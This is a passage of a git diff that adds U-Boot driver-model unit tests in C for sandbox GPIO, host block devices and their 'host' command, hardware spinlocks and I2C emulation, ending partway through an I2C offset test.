+DM_TEST(dm_test_gpio_get_acpi_irq, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that we can get/release GPIOs using managed API */
+static int dm_test_gpio_devm(struct unit_test_state *uts)
+{
+ static const u32 flags = GPIOD_IS_OUT | GPIOD_IS_OUT_ACTIVE;
+ struct gpio_desc *desc1, *desc2, *desc3, *desc_err;
+ struct udevice *dev;
+ struct udevice *dev2;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_TEST_FDT, "a-test",
+ &dev));
+ ut_assertok(uclass_get_device_by_name(UCLASS_TEST_FDT, "another-test",
+ &dev2));
+
+ /* Get 3 GPIOs from 'a-test' dev */
+ desc1 = devm_gpiod_get_index(dev, "test4", 0, flags);
+ ut_assert(!IS_ERR(desc1));
+ desc2 = devm_gpiod_get_index(dev, "test4", 1, flags);
+ ut_assert(!IS_ERR(desc2));
+ desc3 = devm_gpiod_get_index_optional(dev, "test5", 0, flags);
+ ut_assert(!IS_ERR(desc3));
+ ut_assert(desc3);
+
+ /*
+ * Try get the same 3 GPIOs from 'a-test' and 'another-test' devices.
+ * check that it fails
+ */
+ desc_err = devm_gpiod_get_index(dev, "test4", 0, flags);
+ ut_asserteq(-EBUSY, PTR_ERR(desc_err));
+ desc_err = devm_gpiod_get_index(dev2, "test4", 0, flags);
+ ut_asserteq(-EBUSY, PTR_ERR(desc_err));
+ desc_err = devm_gpiod_get_index(dev, "test4", 1, flags);
+ ut_asserteq(-EBUSY, PTR_ERR(desc_err));
+ desc_err = devm_gpiod_get_index(dev2, "test4", 1, flags);
+ ut_asserteq(-EBUSY, PTR_ERR(desc_err));
+ desc_err = devm_gpiod_get_index_optional(dev, "test5", 0, flags);
+ ut_asserteq_ptr(NULL, desc_err);
+ desc_err = devm_gpiod_get_index_optional(dev2, "test5", 0, flags);
+ ut_asserteq_ptr(NULL, desc_err);
+
+ /* Try get GPIOs outside of the list */
+ desc_err = devm_gpiod_get_index(dev, "test4", 2, flags);
+ ut_assert(IS_ERR(desc_err));
+ desc_err = devm_gpiod_get_index_optional(dev, "test5", 1, flags);
+ ut_asserteq_ptr(NULL, desc_err);
+
+ /* Manipulate the GPIOs */
+ ut_assertok(dm_gpio_set_value(desc1, 1));
+ ut_asserteq(1, dm_gpio_get_value(desc1));
+ ut_assertok(dm_gpio_set_value(desc1, 0));
+ ut_asserteq(0, dm_gpio_get_value(desc1));
+
+ ut_assertok(dm_gpio_set_value(desc2, 1));
+ ut_asserteq(1, dm_gpio_get_value(desc2));
+ ut_assertok(dm_gpio_set_value(desc2, 0));
+ ut_asserteq(0, dm_gpio_get_value(desc2));
+
+ ut_assertok(dm_gpio_set_value(desc3, 1));
+ ut_asserteq(1, dm_gpio_get_value(desc3));
+ ut_assertok(dm_gpio_set_value(desc3, 0));
+ ut_asserteq(0, dm_gpio_get_value(desc3));
+
+ /* Check that the GPIO cannot be owned by more than one device */
+ desc_err = devm_gpiod_get_index(dev2, "test4", 0, flags);
+ ut_asserteq(-EBUSY, PTR_ERR(desc_err));
+ desc_err = devm_gpiod_get_index(dev2, "test4", 1, flags);
+ ut_asserteq(-EBUSY, PTR_ERR(desc_err));
+ desc_err = devm_gpiod_get_index_optional(dev2, "test5", 0, flags);
+ ut_asserteq_ptr(NULL, desc_err);
+
+ /*
+ * Release one GPIO and check that we can get it back using
+ * 'another-test' and then 'a-test'
+ */
+ devm_gpiod_put(dev, desc2);
+ desc2 = devm_gpiod_get_index(dev2, "test4", 1, flags);
+ ut_assert(!IS_ERR(desc2));
+
+ devm_gpiod_put(dev2, desc2);
+ desc2 = devm_gpiod_get_index(dev, "test4", 1, flags);
+ ut_assert(!IS_ERR(desc2));
+
+ /* Release one GPIO before removing the 'a-test' dev. */
+ devm_gpiod_put(dev, desc2);
+ device_remove(dev, DM_REMOVE_NORMAL);
+
+ /* All the GPIOs must have been freed. We should be able to claim
+ * them with the 'another-test' device.
+ */
+ desc1 = devm_gpiod_get_index(dev2, "test4", 0, flags);
+ ut_assert(!IS_ERR(desc1));
+ desc2 = devm_gpiod_get_index(dev2, "test4", 1, flags);
+ ut_assert(!IS_ERR(desc2));
+ desc3 = devm_gpiod_get_index_optional(dev2, "test5", 0, flags);
+ ut_assert(!IS_ERR(desc3));
+ ut_assert(desc3);
+
+ device_remove(dev2, DM_REMOVE_NORMAL);
+ return 0;
+}
+DM_TEST(dm_test_gpio_devm, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_clrset_flags(struct unit_test_state *uts)
+{
+ struct gpio_desc desc;
+ struct udevice *dev;
+ ulong flags;
+
+ ut_assertok(uclass_get_device(UCLASS_TEST_FDT, 0, &dev));
+ ut_asserteq_str("a-test", dev->name);
+ ut_assertok(gpio_request_by_name(dev, "test-gpios", 1, &desc, 0));
+
+ ut_assertok(dm_gpio_clrset_flags(&desc, GPIOD_MASK_DIR, GPIOD_IS_OUT));
+ ut_assertok(dm_gpio_get_flags(&desc, &flags));
+ ut_asserteq(GPIOD_IS_OUT, flags);
+ ut_asserteq(GPIOD_IS_OUT, desc.flags);
+ ut_asserteq(0, sandbox_gpio_get_value(desc.dev, desc.offset));
+
+ ut_assertok(dm_gpio_clrset_flags(&desc, 0, GPIOD_IS_OUT_ACTIVE));
+ ut_assertok(dm_gpio_get_flags(&desc, &flags));
+ ut_asserteq(GPIOD_IS_OUT | GPIOD_IS_OUT_ACTIVE, flags);
+ ut_asserteq(GPIOD_IS_OUT | GPIOD_IS_OUT_ACTIVE, desc.flags);
+ ut_asserteq(1, sandbox_gpio_get_value(desc.dev, desc.offset));
+ ut_asserteq(1, dm_gpio_get_value(&desc));
+
+ ut_assertok(dm_gpio_clrset_flags(&desc, GPIOD_MASK_DIR, GPIOD_IS_IN));
+ ut_assertok(dm_gpio_get_flags(&desc, &flags));
+ ut_asserteq(GPIOD_IS_IN, flags & GPIOD_MASK_DIR);
+ ut_asserteq(GPIOD_IS_IN, desc.flags & GPIOD_MASK_DIR);
+
+ ut_assertok(dm_gpio_clrset_flags(&desc, GPIOD_MASK_PULL,
+ GPIOD_PULL_UP));
+ ut_assertok(dm_gpio_get_flags(&desc, &flags));
+ ut_asserteq(GPIOD_IS_IN | GPIOD_PULL_UP, flags);
+ ut_asserteq(GPIOD_IS_IN | GPIOD_PULL_UP, desc.flags);
+
+ /* Check we cannot set both PULL_UP and PULL_DOWN */
+ ut_asserteq(-EINVAL, dm_gpio_clrset_flags(&desc, 0, GPIOD_PULL_DOWN));
+
+ return 0;
+}
+DM_TEST(dm_test_clrset_flags, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Check that an active-low GPIO works as expected */
+static int dm_test_clrset_flags_invert(struct unit_test_state *uts)
+{
+ struct gpio_desc desc;
+ struct udevice *dev;
+ ulong flags;
+
+ ut_assertok(uclass_get_device(UCLASS_TEST_FDT, 0, &dev));
+ ut_asserteq_str("a-test", dev->name);
+ ut_assertok(gpio_request_by_name(dev, "test-gpios", 1, &desc,
+ GPIOD_IS_OUT | GPIOD_ACTIVE_LOW));
+
+ /*
+ * From this size we see it as 0 (active low), but the sandbox driver
+ * sees the pin value high
+ */
+ ut_asserteq(0, dm_gpio_get_value(&desc));
+ ut_asserteq(1, sandbox_gpio_get_value(desc.dev, desc.offset));
+
+ ut_assertok(dm_gpio_set_value(&desc, 1));
+ ut_asserteq(1, dm_gpio_get_value(&desc));
+ ut_asserteq(0, sandbox_gpio_get_value(desc.dev, desc.offset));
+
+ /* Do the same with dm_gpio_clrset_flags() */
+ ut_assertok(dm_gpio_clrset_flags(&desc, GPIOD_IS_OUT_ACTIVE, 0));
+ ut_asserteq(0, dm_gpio_get_value(&desc));
+ ut_asserteq(1, sandbox_gpio_get_value(desc.dev, desc.offset));
+
+ ut_assertok(dm_gpio_clrset_flags(&desc, 0, GPIOD_IS_OUT_ACTIVE));
+ ut_asserteq(1, dm_gpio_get_value(&desc));
+ ut_asserteq(0, sandbox_gpio_get_value(desc.dev, desc.offset));
+
+ ut_assertok(dm_gpio_get_flags(&desc, &flags));
+ ut_asserteq(GPIOD_IS_OUT | GPIOD_ACTIVE_LOW | GPIOD_IS_OUT_ACTIVE,
+ flags);
+ ut_asserteq(GPIOD_IS_OUT | GPIOD_ACTIVE_LOW | GPIOD_IS_OUT_ACTIVE,
+ desc.flags);
+
+ ut_assertok(dm_gpio_clrset_flags(&desc, GPIOD_IS_OUT_ACTIVE, 0));
+ ut_assertok(dm_gpio_get_flags(&desc, &flags));
+ ut_asserteq(GPIOD_IS_OUT | GPIOD_ACTIVE_LOW, flags);
+ ut_asserteq(GPIOD_IS_OUT | GPIOD_ACTIVE_LOW, desc.flags);
+
+ return 0;
+}
+DM_TEST(dm_test_clrset_flags_invert, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int set_gpios(struct unit_test_state *uts, struct gpio_desc *desc,
+ int count, uint value)
+{
+ int i;
+
+ for (i = 0; i < count; i++) {
+ const uint mask = 1 << i;
+
+ ut_assertok(sandbox_gpio_set_value(desc[i].dev, desc[i].offset,
+ value & mask));
+ }
+
+ return 0;
+}
+
+/* Check that an active-low GPIO works as expected */
+static int dm_test_gpio_get_values_as_int(struct unit_test_state *uts)
+{
+ const int gpio_count = 3;
+ struct gpio_desc desc[gpio_count];
+ struct udevice *dev;
+
+ ut_assertok(uclass_get_device(UCLASS_TEST_FDT, 0, &dev));
+ ut_asserteq_str("a-test", dev->name);
+
+ ut_asserteq(3, gpio_request_list_by_name(dev, "test-gpios", desc,
+ gpio_count, GPIOD_IS_IN));
+ ut_assertok(set_gpios(uts, desc, gpio_count, 0));
+ ut_asserteq(0, dm_gpio_get_values_as_int(desc, gpio_count));
+
+ ut_assertok(set_gpios(uts, desc, gpio_count, 5));
+ ut_asserteq(5, dm_gpio_get_values_as_int(desc, gpio_count));
+
+ ut_assertok(set_gpios(uts, desc, gpio_count, 7));
+ ut_asserteq(7, dm_gpio_get_values_as_int(desc, gpio_count));
+
+ return 0;
+}
+DM_TEST(dm_test_gpio_get_values_as_int,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Check that an active-low GPIO works as expected */
+static int dm_test_gpio_get_values_as_int_base3(struct unit_test_state *uts)
+{
+ const int gpio_count = 3;
+ struct gpio_desc desc[gpio_count];
+ struct udevice *dev;
+
+ ut_assertok(uclass_get_device(UCLASS_TEST_FDT, 0, &dev));
+ ut_asserteq_str("a-test", dev->name);
+
+ ut_asserteq(3, gpio_request_list_by_name(dev, "test-gpios", desc,
+ gpio_count, GPIOD_IS_IN));
+
+ /*
+ * First test the sandbox GPIO driver works as expected. The external
+ * pull resistor should be stronger than the internal one.
+ */
+ sandbox_gpio_set_flags(desc[0].dev, desc[0].offset,
+ GPIOD_IS_IN | GPIOD_EXT_PULL_UP | GPIOD_PULL_UP);
+ ut_asserteq(1, dm_gpio_get_value(desc));
+
+ sandbox_gpio_set_flags(desc[0].dev, desc[0].offset, GPIOD_IS_IN |
+ GPIOD_EXT_PULL_DOWN | GPIOD_PULL_UP);
+ ut_asserteq(0, dm_gpio_get_value(desc));
+
+ sandbox_gpio_set_flags(desc[0].dev, desc[0].offset,
+ GPIOD_IS_IN | GPIOD_PULL_UP);
+ ut_asserteq(1, dm_gpio_get_value(desc));
+
+ sandbox_gpio_set_flags(desc[0].dev, desc[0].offset, GPIOD_PULL_DOWN);
+ ut_asserteq(0, dm_gpio_get_value(desc));
+
+ /*
+ * Set up pins: pull-up (1), pull-down (0) and floating (2). This should
+ * result in digits 2 0 1, i.e. 2 * 9 + 1 * 3 = 19
+ */
+ sandbox_gpio_set_flags(desc[0].dev, desc[0].offset, GPIOD_EXT_PULL_UP);
+ sandbox_gpio_set_flags(desc[1].dev, desc[1].offset,
+ GPIOD_EXT_PULL_DOWN);
+ sandbox_gpio_set_flags(desc[2].dev, desc[2].offset, 0);
+ ut_asserteq(19, dm_gpio_get_values_as_int_base3(desc, gpio_count));
+
+ /*
+ * Set up pins: floating (2), pull-up (1) and pull-down (0). This should
+ * result in digits 0 1 2, i.e. 1 * 3 + 2 = 5
+ */
+ sandbox_gpio_set_flags(desc[0].dev, desc[0].offset, 0);
+ sandbox_gpio_set_flags(desc[1].dev, desc[1].offset, GPIOD_EXT_PULL_UP);
+ sandbox_gpio_set_flags(desc[2].dev, desc[2].offset,
+ GPIOD_EXT_PULL_DOWN);
+ ut_asserteq(5, dm_gpio_get_values_as_int_base3(desc, gpio_count));
+
+ return 0;
+}
+DM_TEST(dm_test_gpio_get_values_as_int_base3,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Check that gpio_get_status return the label of a GPIO configured as GPIOD_AF */
+static int dm_test_gpio_function(struct unit_test_state *uts)
+{
+ struct gpio_desc desc;
+ struct udevice *dev;
+ ulong flags;
+ unsigned int offset, gpio;
+ char buf[80];
+
+ ut_assertok(uclass_get_device(UCLASS_TEST_FDT, 0, &dev));
+ ut_asserteq_str("a-test", dev->name);
+
+ /* request gpio_b 5 */
+ ut_assertok(gpio_request_by_name(dev, "test-gpios", 2, &desc, 0));
+ /* update gpio_b 5 function to GPIO_AF */
+ ut_assertok(dm_gpio_clrset_flags(&desc, GPIOD_IS_AF, GPIOD_IS_AF));
+ ut_assertok(dm_gpio_get_flags(&desc, &flags));
+ ut_asserteq(GPIOD_IS_AF, flags);
+ /* check using gpio_get_status that label is displayed for a pin with GPIO_AF function */
+ ut_assertok(gpio_lookup_name("b5", &dev, &offset, &gpio));
+ ut_assertok(gpio_get_status(dev, offset, buf, sizeof(buf)));
+ ut_asserteq_str("b5: func a-test.test-gpios2", buf);
+
+ ut_assertok(dm_gpio_free(dev, &desc));
+
+ return 0;
+}
+DM_TEST(dm_test_gpio_function,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/host.c b/test/dm/host.c
new file mode 100644
index 00000000000..e514f8409cf
--- /dev/null
+++ b/test/dm/host.c
@@ -0,0 +1,202 @@
+// SPDX-License-Identifier: GPL-2.0+ OR BSD-3-Clause
+/*
+ * Copyright 2022 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <blk.h>
+#include <dm.h>
+#include <fs.h>
+#include <os.h>
+#include <sandbox_host.h>
+#include <asm/test.h>
+#include <dm/device-internal.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Basic test of host interface */
+static int dm_test_host(struct unit_test_state *uts)
+{
+ static char label[] = "test";
+ struct udevice *dev, *part, *chk, *blk;
+ struct host_sb_plat *plat;
+ struct blk_desc *desc;
+ char fname[256];
+ ulong mem_start;
+ loff_t actwrite;
+
+ ut_asserteq(-ENODEV, uclass_first_device_err(UCLASS_HOST, &dev));
+ ut_asserteq(-ENODEV, uclass_first_device_err(UCLASS_PARTITION, &part));
+
+ mem_start = ut_check_delta(0);
+ ut_assertok(host_create_device(label, true, DEFAULT_BLKSZ, &dev));
+
+ /* Check that the plat data has been allocated */
+ plat = dev_get_plat(dev);
+ ut_asserteq_str("test", plat->label);
+ ut_assert(label != plat->label);
+ ut_asserteq(0, plat->fd);
+
+ /* Attach a file created in test_ut_dm_init */
+ ut_assertok(os_persistent_file(fname, sizeof(fname), "2MB.ext2.img"));
+
+ ut_assertok(host_attach_file(dev, fname));
+ ut_assertok(uclass_first_device_err(UCLASS_HOST, &chk));
+ ut_asserteq_ptr(chk, dev);
+
+ ut_asserteq_str(fname, plat->filename);
+ ut_assert(fname != plat->filename);
+ ut_assert(plat->fd != 0);
+
+ /* Get the block device */
+ ut_assertok(blk_get_from_parent(dev, &blk));
+ ut_assertok(device_probe(blk));
+
+ /* There should be no partition table in this device */
+ ut_asserteq(-ENODEV, uclass_first_device_err(UCLASS_PARTITION, &part));
+
+ /* Write to a file on the ext4 filesystem */
+ desc = dev_get_uclass_plat(blk);
+ ut_asserteq(true, desc->removable);
+ ut_assertok(fs_set_blk_dev_with_part(desc, 0));
+ ut_assertok(fs_write("/testing", 0, 0, 0x1000, &actwrite));
+
+ ut_assertok(host_detach_file(dev));
+ ut_asserteq(0, plat->fd);
+ ut_asserteq(-ENODEV, blk_get_from_parent(dev, &blk));
+ ut_assertok(device_unbind(dev));
+
+ /* check there were no memory leaks */
+ ut_asserteq(0, ut_check_delta(mem_start));
+
+ return 0;
+}
+DM_TEST(dm_test_host, UT_TESTF_SCAN_FDT);
+
+/* reusing the same label should work */
+static int dm_test_host_dup(struct unit_test_state *uts)
+{
+ static char label[] = "test";
+ struct udevice *dev, *chk;
+ char fname[256];
+
+ ut_asserteq(0, uclass_id_count(UCLASS_HOST));
+ ut_assertok(host_create_device(label, true, DEFAULT_BLKSZ, &dev));
+
+ /* Attach a file created in test_ut_dm_init */
+ ut_assertok(os_persistent_file(fname, sizeof(fname), "2MB.ext2.img"));
+ ut_assertok(host_attach_file(dev, fname));
+ ut_assertok(uclass_first_device_err(UCLASS_HOST, &chk));
+ ut_asserteq_ptr(chk, dev);
+ ut_asserteq(1, uclass_id_count(UCLASS_HOST));
+
+ /* Create another device with the same label (should remove old one) */
+ ut_assertok(host_create_device(label, true, DEFAULT_BLKSZ, &dev));
+
+ /* Attach a different file created in test_ut_dm_init */
+ ut_assertok(os_persistent_file(fname, sizeof(fname), "1MB.fat32.img"));
+ ut_assertok(host_attach_file(dev, fname));
+
+ ut_assertok(uclass_first_device_err(UCLASS_HOST, &chk));
+ ut_asserteq_ptr(chk, dev);
+
+ /* Make sure there is still only one device */
+ ut_asserteq(1, uclass_id_count(UCLASS_HOST));
+
+ return 0;
+}
+DM_TEST(dm_test_host_dup, UT_TESTF_SCAN_FDT);
+
+/* Basic test of 'host' command */
+static int dm_test_cmd_host(struct unit_test_state *uts)
+{
+ struct udevice *dev, *blk;
+ struct blk_desc *desc;
+ char fname[256];
+
+ console_record_reset();
+
+ /* first check 'host info' with binding */
+ ut_assertok(run_command("host info", 0));
+ ut_assert_nextline("dev blocks blksz label path");
+ ut_assert_console_end();
+
+ ut_assertok(os_persistent_file(fname, sizeof(fname), "2MB.ext2.img"));
+ ut_assertok(run_commandf("host bind -r test2 %s", fname));
+
+ /* Check the -r flag worked */
+ ut_assertok(uclass_first_device_err(UCLASS_HOST, &dev));
+ ut_assertok(blk_get_from_parent(dev, &blk));
+ desc = dev_get_uclass_plat(blk);
+ ut_asserteq(true, desc->removable);
+
+ ut_assertok(run_command("host info", 0));
+ ut_assert_nextline("dev blocks blksz label path");
+ ut_assert_nextlinen(" 0 4096 512 test2");
+ ut_assert_console_end();
+
+ ut_assertok(os_persistent_file(fname, sizeof(fname), "1MB.fat32.img"));
+ ut_assertok(run_commandf("host bind fat %s", fname));
+
+ /* Check it is not removable (no '-r') */
+ ut_assertok(uclass_next_device_err(&dev));
+ ut_assertok(blk_get_from_parent(dev, &blk));
+ desc = dev_get_uclass_plat(blk);
+ ut_asserteq(false, desc->removable);
+
+ ut_assertok(run_command("host info", 0));
+ ut_assert_nextline("dev blocks blksz label path");
+ ut_assert_nextlinen(" 0 4096 512 test2");
+ ut_assert_nextlinen(" 1 2048 512 fat");
+ ut_assert_console_end();
+
+ ut_asserteq(1, run_command("host info test", 0));
+ ut_assert_nextline("No such device 'test'");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("host info fat", 0));
+ ut_assert_nextline("dev blocks blksz label path");
+ ut_assert_nextlinen(" 1 2048 512 fat");
+ ut_assert_console_end();
+
+ /* check 'host dev' */
+ ut_asserteq(1, run_command("host dev", 0));
+ ut_assert_nextline("No current host device");
+ ut_assert_console_end();
+
+ ut_asserteq(1, run_command("host dev missing", 0));
+ ut_assert_nextline("No such device 'missing'");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("host dev fat", 0));
+ ut_assert_console_end();
+
+ ut_assertok(run_command("host dev", 0));
+ ut_assert_nextline("Current host device: 1: fat");
+ ut_assert_console_end();
+
+ /* Try a numerical label */
+ ut_assertok(run_command("host dev 0", 0));
+ ut_assert_console_end();
+
+ ut_assertok(run_command("host dev", 0));
+ ut_assert_nextline("Current host device: 0: test2");
+ ut_assert_console_end();
+
+ /* Remove one of the bindings */
+ ut_assertok(run_commandf("host unbind test2"));
+
+ /* There should now be no current device */
+ ut_asserteq(1, run_command("host dev", 0));
+ ut_assert_nextline("No current host device");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("host info", 0));
+ ut_assert_nextline("dev blocks blksz label path");
+ ut_assert_nextlinen(" 1 2048 512 fat");
+ ut_assert_console_end();
+
+ return 0;
+}
+DM_TEST(dm_test_cmd_host, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/hwspinlock.c b/test/dm/hwspinlock.c
new file mode 100644
index 00000000000..a05b183b8bc
--- /dev/null
+++ b/test/dm/hwspinlock.c
@@ -0,0 +1,40 @@
+// SPDX-License-Identifier: GPL-2.0+ OR BSD-3-Clause
+/*
+ * Copyright (C) 2018, STMicroelectronics - All Rights Reserved
+ */
+
+#include <dm.h>
+#include <hwspinlock.h>
+#include <asm/state.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Test that hwspinlock driver functions are called */
+static int dm_test_hwspinlock_base(struct unit_test_state *uts)
+{
+ struct sandbox_state *state = state_get_current();
+ struct hwspinlock hws;
+
+ ut_assertok(uclass_get_device(UCLASS_HWSPINLOCK, 0, &hws.dev));
+ ut_assertnonnull(hws.dev);
+ ut_asserteq(false, state->hwspinlock);
+
+ hws.id = 0;
+ ut_assertok(hwspinlock_lock_timeout(&hws, 1));
+ ut_asserteq(true, state->hwspinlock);
+
+ ut_assertok(hwspinlock_unlock(&hws));
+ ut_asserteq(false, state->hwspinlock);
+
+ ut_assertok(hwspinlock_lock_timeout(&hws, 1));
+ ut_assertok(!hwspinlock_lock_timeout(&hws, 1));
+
+ ut_assertok(hwspinlock_unlock(&hws));
+ ut_assertok(!hwspinlock_unlock(&hws));
+
+ return 0;
+}
+
+DM_TEST(dm_test_hwspinlock_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/i2c.c b/test/dm/i2c.c
new file mode 100644
index 00000000000..e9cf9f7819a
--- /dev/null
+++ b/test/dm/i2c.c
@@ -0,0 +1,334 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2013 Google, Inc
+ *
+ * Note: Test coverage does not include 10-bit addressing
+ */
+
+#include <dm.h>
+#include <fdtdec.h>
+#include <i2c.h>
+#include <asm/state.h>
+#include <asm/test.h>
+#include <dm/device-internal.h>
+#include <dm/test.h>
+#include <dm/uclass-internal.h>
+#include <dm/util.h>
+#include <hexdump.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static const int busnum;
+static const int chip = 0x2c;
+
+/* Test that we can find buses and chips */
+static int dm_test_i2c_find(struct unit_test_state *uts)
+{
+ struct udevice *bus, *dev;
+ const int no_chip = 0x10;
+
+ /*
+ * The post_bind() method will bind devices to chip selects. Check
+ * this then remove the emulation and the slave device.
+ */
+ ut_assertok(uclass_get_device_by_seq(UCLASS_I2C, busnum, &bus));
+ ut_assertok(dm_i2c_probe(bus, chip, 0, &dev));
+ ut_asserteq(-ENOENT, dm_i2c_probe(bus, no_chip, 0, &dev));
+ ut_asserteq(-ENODEV, uclass_get_device_by_seq(UCLASS_I2C, 1, &bus));
+
+ return 0;
+}
+DM_TEST(dm_test_i2c_find, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_i2c_read_write(struct unit_test_state *uts)
+{
+ struct udevice *bus, *dev;
+ uint8_t buf[5];
+
+ ut_assertok(uclass_get_device_by_seq(UCLASS_I2C, busnum, &bus));
+ ut_assertok(i2c_get_chip(bus, chip, 1, &dev));
+ ut_assertok(dm_i2c_read(dev, 0, buf, 5));
+ ut_asserteq_mem(buf, "\0\0\0\0\0", sizeof(buf));
+ ut_assertok(dm_i2c_write(dev, 2, (uint8_t *)"AB", 2));
+ ut_assertok(dm_i2c_read(dev, 0, buf, 5));
+ ut_asserteq_mem(buf, "\0\0AB\0", sizeof(buf));
+
+ return 0;
+}
+DM_TEST(dm_test_i2c_read_write, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_i2c_speed(struct unit_test_state *uts)
+{
+ struct udevice *bus, *dev;
+ uint8_t buf[5];
+
+ ut_assertok(uclass_get_device_by_seq(UCLASS_I2C, busnum, &bus));
+
+ /* Use test mode so we create the required errors for invalid speeds */
+ sandbox_i2c_set_test_mode(bus, true);
+ ut_assertok(i2c_get_chip(bus, chip, 1, &dev));
+ ut_assertok(dm_i2c_set_bus_speed(bus, 100000));
+ ut_assertok(dm_i2c_read(dev, 0, buf, 5));
+ ut_assertok(dm_i2c_set_bus_speed(bus, 400000));
+ ut_asserteq(400000, dm_i2c_get_bus_speed(bus));
+ ut_assertok(dm_i2c_read(dev, 0, buf, 5));
+ ut_asserteq(-EINVAL, dm_i2c_write(dev, 0, buf, 5));
+ sandbox_i2c_set_test_mode(bus, false);
+
+ return 0;
+}
+DM_TEST(dm_test_i2c_speed, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_i2c_offset_len(struct unit_test_state *uts)
+{
+ struct udevice *bus, *dev;
+ uint8_t buf[5];
+
+ ut_assertok(uclass_get_device_by_seq(UCLASS_I2C, busnum, &bus));
+ ut_assertok(i2c_get_chip(bus, chip, 1, &dev));
+ ut_assertok(i2c_set_chip_offset_len(dev, 1));
+ ut_assertok(dm_i2c_read(dev, 0, buf, 5));
+
+ /* This is not supported by the uclass */
+ ut_asserteq(-EINVAL, i2c_set_chip_offset_len(dev, 5));
+
+ return 0;
+}
+DM_TEST(dm_test_i2c_offset_len, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_i2c_probe_empty(struct unit_test_state *uts)
+{
+ struct udevice *bus, *dev;
+
+ ut_assertok(uclass_get_device_by_seq(UCLASS_I2C, busnum, &bus));
+
+ /* Use test mode so that this chip address will always probe */
+ sandbox_i2c_set_test_mode(bus, true);
+ ut_assertok(dm_i2c_probe(bus, SANDBOX_I2C_TEST_ADDR, 0, &dev));
+ sandbox_i2c_set_test_mode(bus, false);
+
+ return 0;
+}
+DM_TEST(dm_test_i2c_probe_empty, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_i2c_bytewise(struct unit_test_state *uts)
+{
+ struct udevice *bus, *dev;
+ struct udevice *eeprom;
+ uint8_t buf[5];
+
+ ut_assertok(uclass_get_device_by_seq(UCLASS_I2C, busnum, &bus));
+ ut_assertok(i2c_get_chip(bus, chip, 1, &dev));
+ ut_assertok(dm_i2c_read(dev, 0, buf, 5));
+ ut_asserteq_mem(buf, "\0\0\0\0\0", sizeof(buf));
+
+ /* Tell the EEPROM to only read/write one register at a time */
+ ut_assertok(uclass_first_device_err(UCLASS_I2C_EMUL, &eeprom));
+ ut_assertnonnull(eeprom);
+ sandbox_i2c_eeprom_set_test_mode(eeprom, SIE_TEST_MODE_SINGLE_BYTE);
+
+ /* Now we only get the first byte - the rest will be 0xff */
+ ut_assertok(dm_i2c_read(dev, 0, buf, 5));
+ ut_asserteq_mem(buf, "\0\xff\xff\xff\xff", sizeof(buf));
+
+ /* If we do a separate transaction for each byte, it works */
+ ut_assertok(i2c_set_chip_flags(dev, DM_I2C_CHIP_RD_ADDRESS));
+ ut_assertok(dm_i2c_read(dev, 0, buf, 5));
+ ut_asserteq_mem(buf, "\0\0\0\0\0", sizeof(buf));
+
+ /* This will only write A */
+ ut_assertok(i2c_set_chip_flags(dev, 0));
+ ut_assertok(dm_i2c_write(dev, 2, (uint8_t *)"AB", 2));
+ ut_assertok(dm_i2c_read(dev, 0, buf, 5));
+ ut_asserteq_mem(buf, "\0\xff\xff\xff\xff", sizeof(buf));
+
+ /* Check that the B was ignored */
+ ut_assertok(i2c_set_chip_flags(dev, DM_I2C_CHIP_RD_ADDRESS));
+ ut_assertok(dm_i2c_read(dev, 0, buf, 5));
+ ut_asserteq_mem(buf, "\0\0A\0\0\0", sizeof(buf));
+
+ /* Now write it again with the new flags, it should work */
+ ut_assertok(i2c_set_chip_flags(dev, DM_I2C_CHIP_WR_ADDRESS));
+ ut_assertok(dm_i2c_write(dev, 2, (uint8_t *)"AB", 2));
+ ut_assertok(dm_i2c_read(dev, 0, buf, 5));
+ ut_asserteq_mem(buf, "\0\xff\xff\xff\xff", sizeof(buf));
+
+ ut_assertok(i2c_set_chip_flags(dev, DM_I2C_CHIP_WR_ADDRESS |
+ DM_I2C_CHIP_RD_ADDRESS));
+ ut_assertok(dm_i2c_read(dev, 0, buf, 5));
+ ut_asserteq_mem(buf, "\0\0AB\0\0", sizeof(buf));
+
+ /* Restore defaults */
+ sandbox_i2c_eeprom_set_test_mode(eeprom, SIE_TEST_MODE_NONE);
+ ut_assertok(i2c_set_chip_flags(dev, 0));
+
+ return 0;
+}
+DM_TEST(dm_test_i2c_bytewise, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_i2c_offset(struct unit_test_state *uts)
+{
+ struct udevice *eeprom;
+ struct udevice *dev;
+ uint8_t buf[5];
+
+ ut_assertok(i2c_get_chip_for_busnum(busnum, chip, 1, &dev));
+
+ /* Do a transfer so we can find the emulator */
+ ut_assertok(dm_i2c_read(dev, 0, buf, 5));
+ ut_assertok(uclass_first_device_err(UCLASS_I2C_EMUL, &eeprom));
+
+ /* Offset length 0 */
+ sandbox_i2c_eeprom_set_offset_len(eeprom, 0);
+ ut_assertok(i2c_set_chip_offset_len(dev, 0));
